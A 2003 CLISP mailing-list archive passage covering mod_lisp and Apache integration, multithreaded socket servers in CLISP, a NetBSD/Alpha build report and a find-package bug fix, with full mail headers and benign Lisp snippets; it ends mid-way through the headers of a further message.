helo=van-halen.alma.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18TlpK-0007Z0-00 for ; Wed, 01 Jan 2003 08:34:43 -0800 Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.3/8.12.3) with ESMTP id h01GYQJ3008460; Wed, 1 Jan 2003 11:34:27 -0500 Received: (from hin@localhost) by van-halen.alma.com (8.12.3/8.12.3/Submit) id h01GYQv0008457; Wed, 1 Jan 2003 11:34:26 -0500 Message-Id: <200301011634.h01GYQv0008457@van-halen.alma.com> From: "John K. Hinsdale" To: edi@agharta.de CC: johs+n@ifi.uio.no, clisp-list@lists.sourceforge.net In-reply-to: <87n0ml8yb1.fsf@bird.agharta.de> (message from Edi Weitz on 01 Jan 2003 02:16:02 +0100) Subject: Re: [clisp-list] Re: CLISP Apache module Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 1 08:36:13 2003 X-Original-Date: Wed, 1 Jan 2003 11:34:26 -0500 >> Also, even in CMUCL it looks like it creates a new process/thread >> (and presumably has to init a new DB connection) w/ each request - > No, it doesn't. With mod_lisp's "Keep-socket" feature your thread will Edi - my mistake; you are absolutely right. I was confused as to where the pooling was happening (it happens in Apache which has a mod_lisp "client" in each of its processes, each of which has a kept-alive connect to a thread inside the Lisp server). Great. So, now my next question: Has anyone done any kind of multi-threaded TCP server in CLISP? i.e., the traditional listen/accept/fork loop kind of thing? Then I can just "port" the CMUCL example and be on my way. I'm also waiting to hear back from Marc Battyani. I looked up "CL-HTTPD" but CLISP is not listed as one of the CL implementations it is known to run on. Thanks for all the help so far. From edi@agharta.de Wed Jan 01 09:07:16 2003 Received: from trane.agharta.de ([62.159.208.82] helo=bird.agharta.de) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18TmKj-0004XG-00 for ; Wed, 01 Jan 2003 09:07:10 -0800 Received: by bird.agharta.de (Postfix, from userid 1000) id 938C92605C9; Wed, 1 Jan 2003 18:06:58 +0100 (CET) To: "John K. Hinsdale" Cc: johs+n@ifi.uio.no, clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: CLISP Apache module References: <200301011634.h01GYQv0008457@van-halen.alma.com> From: Edi Weitz In-Reply-To: <200301011634.h01GYQv0008457@van-halen.alma.com> Message-ID: <871y3wpznx.fsf@bird.agharta.de> Lines: 29 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 1 09:08:07 2003 X-Original-Date: 01 Jan 2003 18:06:58 +0100 "John K. Hinsdale" writes: > >> Also, even in CMUCL it looks like it creates a new > >> process/thread (and presumably has to init a new DB > >> connection) w/ each request - > > > No, it doesn't. With mod_lisp's "Keep-socket" feature your thread > > will > > Edi - my mistake; you are absolutely right. I was confused as to > where the pooling was happening (it happens in Apache which has a > mod_lisp "client" in each of its processes, each of which has a > kept-alive connect to a thread inside the Lisp server). > > Great. > > So, now my next question: > > Has anyone done any kind of multi-threaded TCP server in CLISP? > i.e., the traditional listen/accept/fork loop kind of thing? Then I > can just "port" the CMUCL example and be on my way. I'm also > waiting to hear back from Marc Battyani. The mod_lisp website has example code for CLISP by Rachel Richard and Nils Kassube. Isn't that what you want? Edi. From hin@van-halen.alma.com Wed Jan 01 09:09:33 2003 Received: from 64-205-243-34.client.dsl.net ([64.205.243.34] helo=van-halen.alma.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18TmMx-0005Bl-00 for ; Wed, 01 Jan 2003 09:09:27 -0800 Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.3/8.12.3) with ESMTP id h01H9F9D000482; Wed, 1 Jan 2003 12:09:15 -0500 Received: (from hin@localhost) by van-halen.alma.com (8.12.3/8.12.3/Submit) id h01H9Fk6000479; Wed, 1 Jan 2003 12:09:15 -0500 Message-Id: <200301011709.h01H9Fk6000479@van-halen.alma.com> From: "John K. Hinsdale" To: edi@agharta.de CC: johs+n@ifi.uio.no, clisp-list@lists.sourceforge.net In-reply-to: <871y3wpznx.fsf@bird.agharta.de> (message from Edi Weitz on 01 Jan 2003 18:06:58 +0100) Subject: Re: [clisp-list] Re: CLISP Apache module Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 1 09:10:13 2003 X-Original-Date: Wed, 1 Jan 2003 12:09:15 -0500 > The mod_lisp website has example code for CLISP by Rachel Richard and > Nils Kassube. Isn't that what you want? no, if you look at that code, it ignores the case where you want concurrency. From edi@agharta.de Wed Jan 01 10:54:11 2003 Received: from trane.agharta.de ([62.159.208.82] helo=bird.agharta.de) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18To0B-0003VL-00 for ; Wed, 01 Jan 2003 10:54:03 -0800 Received: by bird.agharta.de (Postfix, from userid 1000) id 587DE2605C9; Wed, 1 Jan 2003 19:53:43 +0100 (CET) To: "John K. Hinsdale" Cc: johs+n@ifi.uio.no, clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: CLISP Apache module References: <200301011709.h01H9Fk6000479@van-halen.alma.com> From: Edi Weitz In-Reply-To: <200301011709.h01H9Fk6000479@van-halen.alma.com> Message-ID: <87vg18og5k.fsf@bird.agharta.de> Lines: 12 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 1 10:55:16 2003 X-Original-Date: 01 Jan 2003 19:53:43 +0100 "John K. Hinsdale" writes: > > The mod_lisp website has example code for CLISP by Rachel Richard > > and Nils Kassube. Isn't that what you want? > > no, if you look at that code, it ignores the case where you want > concurrency. I see. Sorry, I didn't look at the code, I'm not a CLISP expert. Cheers, Edi. From ngps@netmemetic.com Wed Jan 01 17:48:20 2003 Received: from bb-203-125-42-136.singnet.com.sg ([203.125.42.136] helo=vista.netmemetic.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18TuT5-00082V-00 for ; Wed, 01 Jan 2003 17:48:19 -0800 Received: by vista.netmemetic.com (Postfix, from userid 100) id 6DE8A45D; Thu, 2 Jan 2003 09:49:50 +0800 (SGT) From: Ng Pheng Siong To: "John K. Hinsdale" Cc: edi@agharta.de, johs+n@ifi.uio.no, clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: CLISP Apache module Message-ID: <20030102014950.GA458@vista.netmemetic.com> References: <871y3wpznx.fsf@bird.agharta.de> <200301011709.h01H9Fk6000479@van-halen.alma.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200301011709.h01H9Fk6000479@van-halen.alma.com> User-Agent: Mutt/1.4i Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 1 17:59:01 2003 X-Original-Date: Thu, 2 Jan 2003 09:49:50 +0800 On Wed, Jan 01, 2003 at 12:09:15PM -0500, John K. Hinsdale wrote: > > The mod_lisp website has example code for CLISP by Rachel Richard and > > Nils Kassube. Isn't that what you want? > > no, if you look at that code, it ignores the case where you want > concurrency. Well, look at more than the CLISP example: mod-lisp.lisp (LispWorks, it seems): (defun make-apache-instream (handle) (mp:process-run-function (format nil "apache socket ~d" handle) '() 'apache-listen (make-instance 'comm:socket-stream :socket handle :direction :io :element-type 'base-char))) modlisp-cmucl.lisp: [...] (let ((stream (sys:make-fd-stream new-fd :input t :output t))) (mp:make-process #'(lambda () (apache-listen stream)))))) [...] modlisp-clisp.lisp: A bit more stuff to quote, so I won't. Invokes 'apache-listen eventually. And, finally, clisp-2.30/src/threads.lisp: ;; multithreading for CLISP (defpackage "THREADS" (:nicknames "MT") (:use "COMMON-LISP" "EXT") (:export "MAKE-THREAD" "THREAD-WAIT" "THREAD-WAIT-WITH-TIMEOUT" "WITHOUT-INTERRUPTS" "THREAD-YIELD" "THREAD-KILL" "THREAD-INTERRUPT" "THREAD-RESTART" "THREADP" "THREAD-NAME" "THREAD-ACTIVE-P" "THREAD-STATE" "CURRENT-THREAD" "LIST-THREADS" "MAKE-LOCK" "THREAD-LOCK" "THREAD-UNLOCK" "WITH-LOCK" "Y-OR-N-P-TIMEOUT" "WITH-TIMEOUT")) So perhaps you just need to do something like: blah blah (mt:make-thread blah-blah 'apache-listen blah-blah) blah blah Let us know how it goes. Cheers. -- Ng Pheng Siong * http://www.netmemetic.com From sds@gnu.org Wed Jan 01 21:17:16 2003 Received: from out004pub.verizon.net ([206.46.170.142] helo=out004.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18TxjH-0002xL-00 for ; Wed, 01 Jan 2003 21:17:15 -0800 Received: from loiso.podval.org ([151.203.33.199]) by out004.verizon.net (InterMail vM.5.01.05.20 201-253-122-126-120-20021101) with ESMTP id <20030102051708.YQUR1642.out004.verizon.net@loiso.podval.org>; Wed, 1 Jan 2003 23:17:08 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id h025H737015317; Thu, 2 Jan 2003 00:17:08 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id h025H6xw015313; Thu, 2 Jan 2003 00:17:07 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Indrayana Rustandi Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] CLISP 2.29 for NetBSD/Alpha References: <20021225204439.47732.qmail@web20416.mail.yahoo.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20021225204439.47732.qmail@web20416.mail.yahoo.com> Message-ID: Lines: 33 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at out004.verizon.net from [151.203.33.199] at Wed, 1 Jan 2003 23:17:08 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 1 21:18:02 2003 X-Original-Date: 02 Jan 2003 00:17:06 -0500 > * In message <20021225204439.47732.qmail@web20416.mail.yahoo.com> > * On the subject of "[clisp-list] CLISP 2.29 for NetBSD/Alpha" > * Sent on Wed, 25 Dec 2002 12:44:39 -0800 (PST) > * Honorable Indrayana Rustandi writes: > > By changing src/lispbibl.d:2405 to > > #if defined(DECALPHA) && (defined(UNIX_OSF) || > defined(UNIX_LINUX) || defined(UNIX_NETBSD)) what are the Code address range Malloc address range Shared libraries address range Stack address range ?? thanks. > I managed to make a build of CLISP 2.29. I didn't encounter any > failures running "make test" and "make testsuite". However, I once saw > in the NetBSD's port-alpha mailing list that CLISP may have LP64 > problems. If this is the case, have they been fixed? I am not aware of any such problems. please try the CVS head CLISP. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux If You Want Breakfast In Bed, Sleep In the Kitchen. From sds@gnu.org Wed Jan 01 21:18:55 2003 Received: from out001pub.verizon.net ([206.46.170.140] helo=out001.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18Txkt-0003NH-00 for ; Wed, 01 Jan 2003 21:18:55 -0800 Received: from loiso.podval.org ([151.203.33.199]) by out001.verizon.net (InterMail vM.5.01.05.20 201-253-122-126-120-20021101) with ESMTP id <20030102051848.HQMC23484.out001.verizon.net@loiso.podval.org>; Wed, 1 Jan 2003 23:18:48 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id h025Im37015324; Thu, 2 Jan 2003 00:18:48 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id h025IeiG015320; Thu, 2 Jan 2003 00:18:40 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Peter Seibel Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] find-package bug? References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 18 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at out001.verizon.net from [151.203.33.199] at Wed, 1 Jan 2003 23:18:47 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 1 21:19:23 2003 X-Original-Date: 02 Jan 2003 00:18:40 -0500 > * In message > * On the subject of "[clisp-list] find-package bug?" > * Sent on Fri, 27 Dec 2002 09:28:33 -0800 (PST) > * Honorable Peter Seibel writes: > > Hello. I was running some code in CLISP that I had previously > developed under another ACL and ran into this behavior which I think > is a bug: FIND-PACKAGE complains if its argument isn't a string. this bug has been fixed on 2002-11-01. please try CVS head. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Old Age Comes at a Bad Time. From hin@van-halen.alma.com Thu Jan 02 07:12:20 2003 Received: from 64-205-243-34.client.dsl.net ([64.205.243.34] helo=van-halen.alma.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18U713-0001ti-00 for ; Thu, 02 Jan 2003 07:12:13 -0800 Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.3/8.12.3) with ESMTP id h02FC19D024044; Thu, 2 Jan 2003 10:12:01 -0500 Received: (from hin@localhost) by van-halen.alma.com (8.12.3/8.12.3/Submit) id h02FC0Gm024041; Thu, 2 Jan 2003 10:12:00 -0500 Message-Id: <200301021512.h02FC0Gm024041@van-halen.alma.com> From: "John K. Hinsdale" To: ngps@netmemetic.com CC: edi@agharta.de, johs+n@ifi.uio.no, clisp-list@lists.sourceforge.net In-reply-to: <20030102014950.GA458@vista.netmemetic.com> (message from Ng Pheng Siong on Thu, 2 Jan 2003 09:49:50 +0800) Subject: Re: [clisp-list] Re: CLISP Apache module Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jan 2 07:22:19 2003 X-Original-Date: Thu, 2 Jan 2003 10:12:00 -0500 > Well, look at more than the CLISP example: > > ... And, finally, clisp-2.30/src/threads.lisp: > ;; multithreading for CLISP > (mt:make-thread blah-blah 'apache-listen blah-blah) thanks, this looks like what I would want ... From ngps@netmemetic.com Thu Jan 02 08:44:54 2003 Received: from bb-203-125-42-64.singnet.com.sg ([203.125.42.64] helo=vista.netmemetic.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18U8Sk-0001I9-00 for ; Thu, 02 Jan 2003 08:44:54 -0800 Received: by vista.netmemetic.com (Postfix, from userid 100) id 23054570; Fri, 3 Jan 2003 00:46:23 +0800 (SGT) From: Ng Pheng Siong To: "John K. Hinsdale" Cc: edi@agharta.de, johs+n@ifi.uio.no, clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: CLISP Apache module Message-ID: <20030102164623.GA777@vista.netmemetic.com> References: <20030102014950.GA458@vista.netmemetic.com> <200301021512.h02FC0Gm024041@van-halen.alma.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200301021512.h02FC0Gm024041@van-halen.alma.com> User-Agent: Mutt/1.4i Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jan 2 08:47:13 2003 X-Original-Date: Fri, 3 Jan 2003 00:46:23 +0800 On Thu, Jan 02, 2003 at 10:12:00AM -0500, John K. Hinsdale wrote: > > ;; multithreading for CLISP > > (mt:make-thread blah-blah 'apache-listen blah-blah) > > thanks, this looks like what I would want ... I just tried building 2.30 with Posix threading, and make craps out: ngps@applause:/usr/local/src/lisp/clisp-2.30/src$ make test -d bindings || mkdir -p bindings ./lisp.run -B . -N locale -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW -x "(load \"init.lisp\") (sys::%saveinitmem) (exit)" [ snipped banner ] ;; Loading file defseq.lisp ... ;; Loaded file defseq.lisp ;; Loading file backquote.lisp ... ;; Loaded file backquote.lisp ;; Loading file defmacro.lisp ... ;; Loaded file defmacro.lisp ;; Loading file macros1.lisp ... ;; Loaded file macros1.lisp ;; Loading file macros2.lisp ... ;; Loaded file macros2.lisp ;; Loading file defs1.lisp ... ;; Loaded file defs1.lisp ;; Loading file places.lisp ... *** - Program stack overflow. RESET Without threading, "make check" passes. Googling around, it looks like multithreading in CLISP is unfinished business. -- Ng Pheng Siong * http://www.netmemetic.com From hin@van-halen.alma.com Thu Jan 02 10:46:37 2003 Received: from 64-205-243-34.client.dsl.net ([64.205.243.34] helo=van-halen.alma.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18UAMR-0003vG-00 for ; Thu, 02 Jan 2003 10:46:31 -0800 Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.3/8.12.3) with ESMTP id h02IkJwb000647; Thu, 2 Jan 2003 13:46:19 -0500 Received: (from hin@localhost) by van-halen.alma.com (8.12.3/8.12.3/Submit) id h02IkJvx000644; Thu, 2 Jan 2003 13:46:19 -0500 Message-Id: <200301021846.h02IkJvx000644@van-halen.alma.com> From: "John K. Hinsdale" To: ngps@netmemetic.com CC: edi@agharta.de, johs+n@ifi.uio.no, clisp-list@lists.sourceforge.net In-reply-to: <20030102164623.GA777@vista.netmemetic.com> (message from Ng Pheng Siong on Fri, 3 Jan 2003 00:46:23 +0800) Subject: Re: [clisp-list] Re: CLISP Apache module Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jan 2 10:50:21 2003 X-Original-Date: Thu, 2 Jan 2003 13:46:19 -0500 > I just tried building 2.30 with Posix threading, and make craps out: > Googling around, it looks like multithreading in CLISP is unfinished > business. i did some more thought, and it turns out my Oracle library is not thread safe (uses global conneciton cache), also w/ the mod_lisp approach I can't use it as a drop-in replacement for my scripts that write the response to the STDOUT stream as per CGI. W/ CLISp inside apache, each request has its own copy of CLISp (which is a downside, too - it eats a heap of memory per process) But for those reasons I may just go ahead and try the Apache module. From edi@agharta.de Thu Jan 02 11:32:23 2003 Received: from h-213.61.102.30.host.de.colt.net ([213.61.102.30] helo=bird.agharta.de) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18UB4h-00030S-00 for ; Thu, 02 Jan 2003 11:32:15 -0800 Received: by bird.agharta.de (Postfix, from userid 1000) id B971C260559; Thu, 2 Jan 2003 20:32:07 +0100 (CET) To: "John K. Hinsdale" Cc: ngps@netmemetic.com, johs+n@ifi.uio.no, clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: CLISP Apache module References: <200301021846.h02IkJvx000644@van-halen.alma.com> From: Edi Weitz In-Reply-To: <200301021846.h02IkJvx000644@van-halen.alma.com> Message-ID: <87d6nfuz48.fsf@bird.agharta.de> Lines: 13 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jan 2 11:34:30 2003 X-Original-Date: 02 Jan 2003 20:32:07 +0100 "John K. Hinsdale" writes: > also w/ the mod_lisp approach I can't use it as a drop-in > replacement for my scripts that write the response to the STDOUT > stream as per CGI. (let ((html (with-output-to-string (*standard-output*) (my-old-script)))) (send-data-to-mod-lisp html)) Wouldn't that work? Edi. From i_rustandi@yahoo.com Thu Jan 02 11:49:35 2003 Received: from web20405.mail.yahoo.com ([66.163.169.93] helo=web20417.mail.yahoo.com) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18UBLS-0005mA-00 for ; Thu, 02 Jan 2003 11:49:34 -0800 Message-ID: <20030102194929.91006.qmail@web20417.mail.yahoo.com> Received: from [192.18.43.10] by web20405.mail.yahoo.com via HTTP; Thu, 02 Jan 2003 11:49:29 PST From: Indrayana Rustandi Subject: Re: [clisp-list] CLISP 2.29 for NetBSD/Alpha To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jan 2 11:51:43 2003 X-Original-Date: Thu, 2 Jan 2003 11:49:29 -0800 (PST) Code address range: 0x0000000120000000 Malloc address range: 0x0000000120000000 Shared library address range: 0x0000000160000000 Stack address range: 0x00000001FF000000 So, I assume this build of CLISP is usable, right? Indra --- Sam Steingold wrote: > > * In message > <20021225204439.47732.qmail@web20416.mail.yahoo.com> > > * On the subject of "[clisp-list] CLISP 2.29 for > NetBSD/Alpha" > > * Sent on Wed, 25 Dec 2002 12:44:39 -0800 (PST) > > * Honorable Indrayana Rustandi > writes: > > > > By changing src/lispbibl.d:2405 to > > > > #if defined(DECALPHA) && (defined(UNIX_OSF) || > > defined(UNIX_LINUX) || defined(UNIX_NETBSD)) > > what are the > Code address range > Malloc address range > Shared libraries address range > Stack address range > > ?? > > thanks. > > > I managed to make a build of CLISP 2.29. I didn't > encounter any > > failures running "make test" and "make testsuite". > However, I once saw > > in the NetBSD's port-alpha mailing list that CLISP > may have LP64 > > problems. If this is the case, have they been > fixed? > > I am not aware of any such problems. > please try the CVS head CLISP. > > -- > Sam Steingold (http://www.podval.org/~sds) running > RedHat8 GNU/Linux > > > > > If You Want Breakfast In Bed, Sleep In the Kitchen. __________________________________________________ Do you Yahoo!? Yahoo! Mail Plus - Powerful. Affordable. Sign up now. http://mailplus.yahoo.com From sds@gnu.org Thu Jan 02 12:43:49 2003 Received: from out006pub.verizon.net ([206.46.170.106] helo=out006.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18UCBx-00074V-00 for ; Thu, 02 Jan 2003 12:43:49 -0800 Received: from loiso.podval.org ([151.203.33.199]) by out006.verizon.net (InterMail vM.5.01.05.20 201-253-122-126-120-20021101) with ESMTP id <20030102204340.CYDD16549.out006.verizon.net@loiso.podval.org>; Thu, 2 Jan 2003 14:43:40 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id h02Khg4e002150; Thu, 2 Jan 2003 15:43:42 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id h02KhgRl002146; Thu, 2 Jan 2003 15:43:42 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Indrayana Rustandi Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] CLISP 2.29 for NetBSD/Alpha References: <20030102194929.91006.qmail@web20417.mail.yahoo.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20030102194929.91006.qmail@web20417.mail.yahoo.com> Message-ID: Lines: 14 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at out006.verizon.net from [151.203.33.199] at Thu, 2 Jan 2003 14:43:40 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jan 2 12:45:10 2003 X-Original-Date: 02 Jan 2003 15:43:41 -0500 > * In message <20030102194929.91006.qmail@web20417.mail.yahoo.com> > * On the subject of "Re: [clisp-list] CLISP 2.29 for NetBSD/Alpha" > * Sent on Thu, 2 Jan 2003 11:49:29 -0800 (PST) > * Honorable Indrayana Rustandi writes: > > So, I assume this build of CLISP is usable, right? sure! -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Binaries die but source code lives forever. From hin@van-halen.alma.com Thu Jan 02 13:01:02 2003 Received: from 64-205-243-34.client.dsl.net ([64.205.243.34] helo=van-halen.alma.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18UCSV-0000x0-00 for ; Thu, 02 Jan 2003 13:00:55 -0800 Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.3/8.12.3) with ESMTP id h02L0ewb001063; Thu, 2 Jan 2003 16:00:40 -0500 Received: (from hin@localhost) by van-halen.alma.com (8.12.3/8.12.3/Submit) id h02L0eY3001060; Thu, 2 Jan 2003 16:00:40 -0500 Message-Id: <200301022100.h02L0eY3001060@van-halen.alma.com> From: "John K. Hinsdale" To: edi@agharta.de CC: ngps@netmemetic.com, johs+n@ifi.uio.no, clisp-list@lists.sourceforge.net In-reply-to: <87d6nfuz48.fsf@bird.agharta.de> (message from Edi Weitz on 02 Jan 2003 20:32:07 +0100) Subject: Re: [clisp-list] Re: CLISP Apache module Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jan 2 13:03:17 2003 X-Original-Date: Thu, 2 Jan 2003 16:00:40 -0500 >> also w/ the mod_lisp approach I can't use it as a drop-in >> replacement for my scripts that write the response to the STDOUT >> stream as per CGI. > (let ((html (with-output-to-string (*standard-output*) > (my-old-script)))) > (send-data-to-mod-lisp html)) > Wouldn't that work? well, almost ... except that it's not always allowed in my case to collect up the entire output before beginning to send back to the Web client. (I have some pages that need to begin producing displayed output before the request is completely processed From a0111jncs@hotmail.com Thu Jan 02 14:08:30 2003 Received: from [200.252.68.204] (helo=hotmail.com) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18UDVs-0003mD-00 for ; Thu, 02 Jan 2003 14:08:30 -0800 Received: from [90.31.180.214] by mx.reskind.net with local; 02 Jan 2003 21:12:22 -0300 Received: from unknown (98.154.15.164) by qnx.mdrost.com with asmtp; 02 Jan 2003 18:10:07 +1000 Received: from unknown (HELO mail.naihautsui.co.kr) (139.6.109.149) by mail.webhostings4u.com with SMTP; Fri, 03 Jan 2003 04:07:52 